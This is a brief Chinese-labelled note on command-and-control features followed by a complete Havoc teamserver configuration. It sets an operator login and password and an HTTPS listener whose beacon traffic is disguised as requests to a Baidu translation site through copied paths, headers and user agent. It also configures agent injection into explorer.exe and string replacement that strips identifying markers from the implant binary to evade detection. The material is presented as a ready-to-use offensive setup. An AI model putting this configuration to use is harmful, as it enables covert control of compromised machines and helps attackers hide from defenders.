C2 功能要点

Listeners

• HTTPS
• MTLS

Agent

• Arch 选择目标系统架构版本

• Havoc Config

Teamserver {                      
    Host = "0.0.0.0"
    Port = 40056
    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "Kali" { 
        Password = "KaliAdmin@123"
    }
}

Listeners {
    Http {
        Name         = "Agent Listener - HTTP/s"
        #KillDate     = "2025-10-01 00:00:00"
        #WorkingHours = "8:00-17:00"
        Hosts        = [
            "fanyi.baidu.com",
        ]
        HostBind     = "0.0.0.0"
        PortBind     = 443
        PortConn     = 443
        HostRotation = "round-robin"
        UserAgent    = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/96.0.4638.110 Safari/538.32"

        Uris = [
            "/mtpe-individual/multimodal",
            "/mtpe-individual/project-manage/detailList/-1",
            "/mtpe/v2/member/getInfo?_=17223",
            "/favicon.ico",
            "/static/cat/asset/hot.7a832a14.png",
            "/static/cat/css/editorPage.chunk.a2629606.css"
        ]

        Headers = [
            "Content-type: text/plain",
            "sec-ch-ua-mobile: ?0",
            "sec-ch-ua-platform: Windows",
            "accept-encoding: gzip, deflate, br, zstd",
            "accept-language: zh-CN,zh;q=0.9",
            "connection: keep-alive",
        ]

        Secure       = true

        Response {
            Headers = [
                "Content-type: text/plain",
                "Accept-Ranges: bytes",
                "Etag: 668842de-10be",
                "Server: Apache",
            ]
        }
    }
}

Demon {
    Sleep = 10
    Jitter = 20
    TrustXForwardedFor = false
    Injection {
        Spawn64 = "C:\\Windows\\explorer.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\explorer.exe"
    }

    Binary {
        ReplaceStrings-x64 = {
            "demon.x64.dll": "",
            "This program cannot be run in DOS mode.": "",
        }

        ReplaceStrings-x86 = {
            "demon.x86.dll": "",
            "This program cannot be run in DOS mode.": "",
        }
    }
}